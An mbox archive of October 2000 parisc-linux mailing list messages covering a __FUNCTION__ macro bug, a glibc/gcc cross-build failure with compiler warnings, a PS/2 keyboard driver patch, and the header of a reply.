X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __FUNCTION__ revisited
Date: Thu, 26 Oct 2000 12:56:32 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200010261956.MAA22473@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619217 5089 80.91.229.3 (22 Nov 2014 01:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: drepper@redhat.com
Original-X-From: grundler@cup.hp.com  Thu Oct 26 13:50:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA30827
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 13:50:16 -0600
Original-Received: (qmail 7790 invoked by uid 15267); 26 Oct 2000 19:51:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7771 invoked from network); 26 Oct 2000 19:51:49 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 19:51:49 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 4CBAF110E; Thu, 26 Oct 2000 12:51:48 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id MAA22473;
	Thu, 26 Oct 2000 12:56:32 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8223

Hi Ulrich,

After RTFMing for a bit, I still think __FUNCTION__ is b0rken.
Maybe I'm doing something else stupid that's obvious to you.

In linux/arch/parisc/kernel/sba_ccio.c I have some debug
output which can be enabled like this:
	#define DEBUG_SBA_RUN_SG

I use that for:

	#ifdef DEBUG_SBA_RUN_SG
	#define DBG_RUN_SG(x...)       printk(x)
	#else
	#define DBG_RUN_SG(x...)
	#endif

and use DBG_RUN_SG() like this:

	DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, n_mappings);

The output I get looks like "() DONE 16 mappings".
No complaints from compiler or linker.


And despite the official change of __FUNCTION__'s data type almost 2 years
ago in the developement branch, __FUNCTION__ was still being treated as
a literal by our tool chain as late as August 3, 2000.
I still have the c110 console output to prove it:
-rw-rw----   1 grundler users       12384 Aug  3 19:35 c110.out1

thanks,
grant


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Thu, 26 Oct 2000 12:56:47 -0700
Lines: 241
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
References: <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com> <Pine.LNX.4.21.0010261402360.31251-100000@front.linuxcare.c
 om.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_5144707==_.ALT"
X-Trace: ger.gmane.org 1416619217 5091 80.91.229.3 (22 Nov 2014 01:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: kailasr@webcash.com  Thu Oct 26 13:57:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA31513
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 13:57:35 -0600
Original-Received: (qmail 18989 invoked by uid 15267); 26 Oct 2000 19:59:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18964 invoked from network); 26 Oct 2000 19:59:03 -0000
Original-Received: from mail.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 19:59:03 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9QJsoG76008;
	Thu, 26 Oct 2000 12:54:51 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <Pine.LNX.4.21.0010261402360.31251-100000@front.linuxcare.c
 om.au>
Original-References: <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8224

--=====================_5144707==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

HI alan,

I did upgrade to latest glibc from the cvs and tried I still get the same 
error. Actually I restarted from scratch starting from binutils. I have 
seen some warning while I built gcc. The smallpart of gcc warnings are as 
follows:

Gcc warnings:

prototypes -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. 
-I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include 
/opt/hp/gcc/gcc/explow.c
/usr/include/bits/string2.h: In function `__stpcpy_small':
In file included from /usr/include/string.h:346,
                  from /opt/hp/gcc/gcc/system.h:176,
                  from /opt/hp/gcc/gcc/explow.c:24:
/usr/include/bits/string2.h:611: warning: pointer targets in return differ 
in signedness
gcc -c -DCROSS_COMPILE -DIN_GCC    -g -O2 -W -Wall -Wtraditional 
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -pedantic 
-Wno-long-long  -DHAVE_CONFIG_H    -I. -I/opt/hp/gcc/gcc 
-I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include /opt/hp/gcc/gcc/optabs.c
/usr/include/bits/string2.h: In function `__stpcpy_small':
In file included from /usr/include/string.h:346,
                  from /opt/hp/gcc/gcc/system.h:176,
                  from /opt/hp/gcc/gcc/optabs.c:24:
/usr/include/bits/string2.h:611: warning: pointer targets in return differ 
in signedness
gcc -c -DCROSS_COMPILE -DIN_GCC    -g -O2 -W -Wall -Wtraditional 
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -pedantic 
-Wno-long-long  -DHAVE_CONFIG_H    -I. -I/opt/hp/gcc/gcc 
-I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include /opt/hp/gcc/gcc/real.c
/usr/include/bits/string2.h: In function `__stpcpy_small':
In file included from /usr/include/string.h:346,
                  from /opt/hp/gcc/gcc/system.h:176,
                  from /opt/hp/gcc/gcc/real.c:25:
/usr/include/bits/string2.h:611: warning: pointer targets in return differ 
in signedness
gcc -c -DCROSS_COMPILE -DIN_GCC    -g -O2 -W -Wall -Wtraditional 
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -pedantic 
-Wno-long-long  -DHAVE_CONFIG_H    -I. -I/opt/hp/gcc/gcc 
-I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include 
/opt/hp/gcc/gcc/builtins.c
/usr/include/bits/string2.h: In function `__stpcpy_small':
In file included from /usr/include/string.h:346,
                  from /opt/hp/gcc/gcc/system.h:176,
                  from /opt/hp/gcc/gcc/builtins.c:23:
/usr/include/bits/string2.h:611: warning: pointer targets in return differ 
in signedness
gcc -DCROSS_COMPILE -DIN_GCC    -g -O2 -W -Wall -Wtraditional 
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -pedantic 
-Wno-long-long  -DHAVE_CONFIG_H    -I. -I/opt/hp/gcc/gcc 
-I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include \
   -DLOCALEDIR=\"/opt/hpboot/share/locale\" \
   -c `echo /opt/hp/gcc/gcc/intl.c | sed 's,^\./,,'`
gcc -c -DCROSS_COMPILE -DIN_GCC    -g -O2 -W -Wall -Wtraditional 
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -pedantic 
-Wno-long-long  -DHAVE_CONFIG_H    -I. -I/opt/hp/gcc/gcc 
-I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include /opt/hp/gcc/gcc/varasm.c
/usr/include/bits/string2.h: In function `__stpcpy_small':
In file included from /usr/include/string.h:346,
                  from /opt/hp/gcc/gcc/system.h:176,
                  from /opt/hp/gcc/gcc/varasm.c:31:
/usr/include/bits/string2.h:611: warning: pointer targets in return differ 
in signedness
gcc -c -DCROSS_COMPILE -DIN_GCC    -g -O2 -W -Wall -Wtraditional 
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -pedantic 
-Wno-long-long  -DHAVE_CONFIG_H    -I. -I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/c


At 02:27 PM 10/26/00 +1100, Alan Modra wrote:
>On Wed, 25 Oct 2000, Kailashnath V Rampure wrote:
>
> > Hi
> >
> > I have upgraded to GNU Make version 3.79.1 but when i run make its is
> > giving following error:
> >
> > Regards
> > Kailas
> >
> > hppa-linux-gcc -nostdlib -nostartfiles -r -o 
> /opt/hp/build/glibc/csu/crt1.o
> > /opt/hp/build/glibc/csu/start.o /opt/hp/build/glibc/csu/abi-note.o
> > /opt/hp/build/glibc/csu/init.o
> > hppa-linux-gcc -nostdlib -nostartfiles -r -o
> > /opt/hp/build/glibc/csu/gcrt1.o /opt/hp/build/glibc/csu/crt1.o
> > /opt/hp/build/glibc/csu/gmon-start.o
> > cp /dev/null /opt/hp/build/glibc/csu/Mcrt1.c
>
>Hmm, my make.log shows a difference here.  I have echo > ...Mcrt1.c, which
>creates a 1 byte dummy file rather than the zero byte file you get from cp
>/dev/null.  Bombing on an empty input file is a known gcc bug for the
>snapshot we took of the Cygnus development gcc sources.
>
>I suggest you update your glibc sources.
>
>--
>Linuxcare.  Support for the Revolution.
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.

--=====================_5144707==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
HI alan,<br>
<br>
I did upgrade to latest glibc from the cvs and tried I still get the same
error. Actually I restarted from scratch starting from binutils. I have
seen some warning while I built gcc. The smallpart of gcc warnings are as
follows:<br>
<br>
Gcc warnings:<br>
<br>
prototypes -pedantic -Wno-long-long&nbsp;
-DHAVE_CONFIG_H&nbsp;&nbsp;&nbsp; -I. -I/opt/hp/gcc/gcc
-I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include
/opt/hp/gcc/gcc/explow.c<br>
/usr/include/bits/string2.h: In function `__stpcpy_small':<br>
In file included from /usr/include/string.h:346,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/system.h:176,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/explow.c:24:<br>
<b>/usr/include/bits/string2.h:611: warning: pointer targets in return
differ in signedness<br>
</b>gcc -c -DCROSS_COMPILE -DIN_GCC&nbsp;&nbsp;&nbsp; -g -O2 -W -Wall
-Wtraditional -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-pedantic -Wno-long-long&nbsp; -DHAVE_CONFIG_H&nbsp;&nbsp;&nbsp; -I.
-I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include
/opt/hp/gcc/gcc/optabs.c<br>
/usr/include/bits/string2.h: In function `__stpcpy_small':<br>
In file included from /usr/include/string.h:346,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/system.h:176,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/optabs.c:24:<br>
/usr/include/bits/string2.h:611: warning: pointer targets in return
differ in signedness<br>
gcc -c -DCROSS_COMPILE -DIN_GCC&nbsp;&nbsp;&nbsp; -g -O2 -W -Wall
-Wtraditional -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-pedantic -Wno-long-long&nbsp; -DHAVE_CONFIG_H&nbsp;&nbsp;&nbsp; -I.
-I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include
/opt/hp/gcc/gcc/real.c<br>
/usr/include/bits/string2.h: In function `__stpcpy_small':<br>
In file included from /usr/include/string.h:346,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/system.h:176,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/real.c:25:<br>
<b>/usr/include/bits/string2.h:611: warning: pointer targets in return
differ in signedness<br>
</b>gcc -c -DCROSS_COMPILE -DIN_GCC&nbsp;&nbsp;&nbsp; -g -O2 -W -Wall
-Wtraditional -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-pedantic -Wno-long-long&nbsp; -DHAVE_CONFIG_H&nbsp;&nbsp;&nbsp; -I.
-I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include
/opt/hp/gcc/gcc/builtins.c<br>
/usr/include/bits/string2.h: In function `__stpcpy_small':<br>
In file included from /usr/include/string.h:346,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/system.h:176,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/builtins.c:23:<br>
/usr/include/bits/string2.h:611: warning: pointer targets in return
differ in signedness<br>
gcc -DCROSS_COMPILE -DIN_GCC&nbsp;&nbsp;&nbsp; -g -O2 -W -Wall
-Wtraditional -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-pedantic -Wno-long-long&nbsp; -DHAVE_CONFIG_H&nbsp;&nbsp;&nbsp; -I.
-I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include
\<br>
&nbsp; -DLOCALEDIR=\&quot;/opt/hpboot/share/locale\&quot; \<br>
&nbsp; -c `echo /opt/hp/gcc/gcc/intl.c | sed 's,^\./,,'`<br>
gcc -c -DCROSS_COMPILE -DIN_GCC&nbsp;&nbsp;&nbsp; -g -O2 -W -Wall
-Wtraditional -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-pedantic -Wno-long-long&nbsp; -DHAVE_CONFIG_H&nbsp;&nbsp;&nbsp; -I.
-I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include
/opt/hp/gcc/gcc/varasm.c<br>
/usr/include/bits/string2.h: In function `__stpcpy_small':<br>
In file included from /usr/include/string.h:346,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/system.h:176,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
from /opt/hp/gcc/gcc/varasm.c:31:<br>
/usr/include/bits/string2.h:611: warning: pointer targets in return
differ in signedness<br>
gcc -c -DCROSS_COMPILE -DIN_GCC&nbsp;&nbsp;&nbsp; -g -O2 -W -Wall
-Wtraditional -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-pedantic -Wno-long-long&nbsp; -DHAVE_CONFIG_H&nbsp;&nbsp;&nbsp; -I.
-I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/c<br>
<br>
<br>
At 02:27 PM 10/26/00 +1100, Alan Modra wrote:<br>
<blockquote type=cite class=cite cite>On Wed, 25 Oct 2000, Kailashnath V
Rampure wrote:<br>
<br>
&gt; Hi<br>
&gt; <br>
&gt; I have upgraded to GNU Make version 3.79.1 but when i run make its
is <br>
&gt; giving following error:<br>
&gt; <br>
&gt; Regards<br>
&gt; Kailas<br>
&gt; <br>
&gt; hppa-linux-gcc -nostdlib -nostartfiles -r -o
/opt/hp/build/glibc/csu/crt1.o <br>
&gt; /opt/hp/build/glibc/csu/start.o /opt/hp/build/glibc/csu/abi-note.o
<br>
&gt; /opt/hp/build/glibc/csu/init.o<br>
&gt; hppa-linux-gcc -nostdlib -nostartfiles -r -o <br>
&gt; /opt/hp/build/glibc/csu/gcrt1.o /opt/hp/build/glibc/csu/crt1.o 
<br>
&gt; /opt/hp/build/glibc/csu/gmon-start.o<br>
&gt; cp /dev/null /opt/hp/build/glibc/csu/Mcrt1.c<br>
<br>
Hmm, my make.log shows a difference here.&nbsp; I have echo &gt;
...Mcrt1.c, which<br>
creates a 1 byte dummy file rather than the zero byte file you get from
cp<br>
/dev/null.&nbsp; Bombing on an empty input file is a known gcc bug for
the<br>
snapshot we took of the Cygnus development gcc sources.<br>
<br>
I suggest you update your glibc sources.<br>
<br>
-- <br>
Linuxcare.&nbsp; Support for the Revolution.<br>
<br>
---------------------------------------------------------------------------<br>
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
with<br>
`unsubscribe' as the subject.</blockquote></html>

--=====================_5144707==_.ALT--


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The new PS/2 Keyboard Driver
Date: Thu, 26 Oct 2000 22:05:08 +0200
Lines: 200
Approved: news@gmane.org
Message-ID: <002a01c03f88$0a20d580$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0027_01C03F98.CD6E2320"
X-Trace: ger.gmane.org 1416619218 5092 80.91.229.3 (22 Nov 2014 01:20:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:18 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Thu Oct 26 14:01:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA31859
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 14:01:34 -0600
Original-Received: (qmail 24721 invoked by uid 15267); 26 Oct 2000 20:03:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24684 invoked from network); 26 Oct 2000 20:03:06 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 20:03:06 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP id 1483257303
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Oct 2000 22:03:04 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8225

This is a multi-part message in MIME format.

------=_NextPart_000_0027_01C03F98.CD6E2320
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


Hello everyone,

We've just updated the PS/2 keyboard driver. The leds and interrupt
functions work really well on a 712 workstation and also B132 now. The
updated driver files are available on our website. It works better than
under HP UX for the B 132 ;->

http://www.esiee.fr/~djoudim

The ESIEE Port Team in Paris.

Here is the patch:

diff -urN linux/drivers/char/gsc_ps2.c linux-parisc/drivers/char/gsc_ps2.c
--- linux/drivers/char/gsc_ps2.c Thu Oct 26 21:06:54 2000
+++ linux-parisc/drivers/char/gsc_ps2.c Thu Oct 26 21:34:00 2000
@@ -7,6 +7,11 @@
  *
  * Okay, the filename is somewhat suboptimal.  It turns out this
  *  will work for Dino's psaux ports as well.
+ *
+ * 2000/10/26 Debacker Xavier (debackex@esiee.fr)
+ *   Marteau Thomas (marteaut@esiee.fr)
+ *    Djoudi Malek (djoudim@esiee.fr)
+ * fixed leds control
  */

 #include <asm/hardware.h>
@@ -198,7 +203,7 @@

 static void lasi_kbd_interrupt(int irq, void *dev, struct pt_regs *regs)
 {
- void *hpa = dev;
+ hpa = dev;

  kbd_pt_regs = regs;

@@ -233,6 +238,7 @@
 static struct kbd_ops gsc_ps2_kbd_ops = {
  translate: pckbd_translate,
  init_hw: gsc_ps2_init_hw,
+ leds:  ps2kbd_leds,
  sysrq_key: 0x54,
  sysrq_xlate: pckbd_sysrq_xlate,
 };
diff -urN linux/drivers/char/keyb_at.c linux-parisc/drivers/char/keyb_at.c
--- linux/drivers/char/keyb_at.c Thu Oct 26 21:07:00 2000
+++ linux-parisc/drivers/char/keyb_at.c Thu Oct 26 21:23:16 2000
@@ -47,7 +47,12 @@
 #define CODE_ESCAPE12 8

 #define K_NONE  0x7f
-
+/*
+ * 2000/10/26 Debacker Xavier (debackex@esiee.fr)
+ *  Marteau Thomas (marteaut@esiee.fr)
+ *  Djoudi Malek (djoudim@esiee.fr)
+ * fixed some keysym defines and SC_LIM
+ */
 #define K_ESC  0x01
 #define K_F1  0x3b
 #define K_F2  0x3c
@@ -79,8 +84,8 @@
 #define K_EQLS  0x0d
 #define K_BKSP  0x0e
 #define K_INS  110
-#define K_HOME  K_NONE
-#define K_PGUP  K_NONE
+#define K_HOME  102
+#define K_PGUP  104
 #define K_NUML  69
 #define KP_SLH  0x62
 #define KP_STR  0x37
@@ -99,9 +104,9 @@
 #define K_LSBK  0x1a
 #define K_RSBK  0x1b
 #define K_ENTR  0x1c
-#define K_DEL  0xe
-#define K_END  K_NONE
-#define K_PGDN  K_NONE
+#define K_DEL  111
+#define K_END  107
+#define K_PGDN  109
 #define KP_7  0x47
 #define KP_8  0x48
 #define KP_9  0x49
@@ -234,7 +239,7 @@
  * they needed not before. It does not matter that there are duplicates, as
  * long as no duplication occurs for any single keyboard.
  */
-#define SC_LIM 89
+#define SC_LIM 128

 #define FOCUS_PF1 85           /* actual code! */
 #define FOCUS_PF2 89


------=_NextPart_000_0027_01C03F98.CD6E2320
Content-Type: application/octet-stream;
	name="keyb.patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="keyb.patch"

diff -urN linux/drivers/char/gsc_ps2.c =
linux-parisc/drivers/char/gsc_ps2.c=0A=
--- linux/drivers/char/gsc_ps2.c	Thu Oct 26 21:06:54 2000=0A=
+++ linux-parisc/drivers/char/gsc_ps2.c	Thu Oct 26 21:34:00 2000=0A=
@@ -7,6 +7,11 @@=0A=
  *=0A=
  *	Okay, the filename is somewhat suboptimal.  It turns out this=0A=
  * 	will work for Dino's psaux ports as well.=0A=
+ *=0A=
+ *	2000/10/26	Debacker Xavier (debackex@esiee.fr)=0A=
+ *			Marteau Thomas (marteaut@esiee.fr)=0A=
+ * 			Djoudi Malek (djoudim@esiee.fr)=0A=
+ *	fixed leds control=0A=
  */=0A=
 =0A=
 #include <asm/hardware.h>=0A=
@@ -198,7 +203,7 @@=0A=
 =0A=
 static void lasi_kbd_interrupt(int irq, void *dev, struct pt_regs *regs)=0A=
 {=0A=
-	void *hpa =3D dev;=0A=
+	hpa =3D dev;=0A=
 =0A=
 	kbd_pt_regs =3D regs;=0A=
 =0A=
@@ -233,6 +238,7 @@=0A=
 static struct kbd_ops gsc_ps2_kbd_ops =3D {=0A=
 	translate:	pckbd_translate,=0A=
 	init_hw:	gsc_ps2_init_hw,=0A=
+	leds:		ps2kbd_leds,=0A=
 	sysrq_key:	0x54,=0A=
 	sysrq_xlate:	pckbd_sysrq_xlate,=0A=
 };=0A=
diff -urN linux/drivers/char/keyb_at.c =
linux-parisc/drivers/char/keyb_at.c=0A=
--- linux/drivers/char/keyb_at.c	Thu Oct 26 21:07:00 2000=0A=
+++ linux-parisc/drivers/char/keyb_at.c	Thu Oct 26 21:23:16 2000=0A=
@@ -47,7 +47,12 @@=0A=
 #define CODE_ESCAPE12	8=0A=
 =0A=
 #define K_NONE		0x7f=0A=
-=0A=
+/*=0A=
+ * 2000/10/26	Debacker Xavier (debackex@esiee.fr)=0A=
+ *		Marteau Thomas (marteaut@esiee.fr)=0A=
+ *		Djoudi Malek (djoudim@esiee.fr)=0A=
+ * fixed some keysym defines and SC_LIM=0A=
+ */=0A=
 #define K_ESC		0x01=0A=
 #define K_F1		0x3b=0A=
 #define K_F2		0x3c=0A=
@@ -79,8 +84,8 @@=0A=
 #define K_EQLS		0x0d=0A=
 #define K_BKSP		0x0e=0A=
 #define K_INS		110=0A=
-#define K_HOME		K_NONE=0A=
-#define K_PGUP		K_NONE=0A=
+#define K_HOME		102=0A=
+#define K_PGUP		104=0A=
 #define K_NUML		69=0A=
 #define KP_SLH		0x62=0A=
 #define KP_STR		0x37=0A=
@@ -99,9 +104,9 @@=0A=
 #define K_LSBK		0x1a=0A=
 #define K_RSBK		0x1b=0A=
 #define K_ENTR		0x1c=0A=
-#define K_DEL		0xe=0A=
-#define K_END		K_NONE=0A=
-#define K_PGDN		K_NONE=0A=
+#define K_DEL		111=0A=
+#define K_END		107=0A=
+#define K_PGDN		109=0A=
 #define KP_7		0x47=0A=
 #define KP_8		0x48=0A=
 #define KP_9		0x49=0A=
@@ -234,7 +239,7 @@=0A=
  * they needed not before. It does not matter that there are =
duplicates, as=0A=
  * long as no duplication occurs for any single keyboard.=0A=
  */=0A=
-#define SC_LIM 89=0A=
+#define SC_LIM 128=0A=
 =0A=
 #define FOCUS_PF1 85           /* actual code! */=0A=
 #define FOCUS_PF2 89=0A=

------=_NextPart_000_0027_01C03F98.CD6E2320--


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: __FUNCTION__ revisited
Date: 26 Oct 2000 13:13:47 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <m3d7gnmkck.fsf@otr.mynet.cygnus.com>
References: <200010261956.MAA22473@milano.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619218 5097 80.91.229.3 (22 Nov 2014 01:20:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: drepper@redhat.com  Thu Oct 26 14:19:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA00440
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 14:19:25 -0600
Original-Received: (qmail 18658 invoked by uid 15267); 26 Oct 2000 20:20:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18638 invoked from network); 26 Oct 2000 20:20:58 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 20:20:58 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id NAA16120;
	Thu, 26 Oct 2000 13:14:18 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id B3559310D; Thu, 26 Oct 2000 13:13:47 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Grant Grundler's message of "Thu, 26 Oct 2000 12:56:32 -0700 (PDT)"
Original-Lines: 15
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
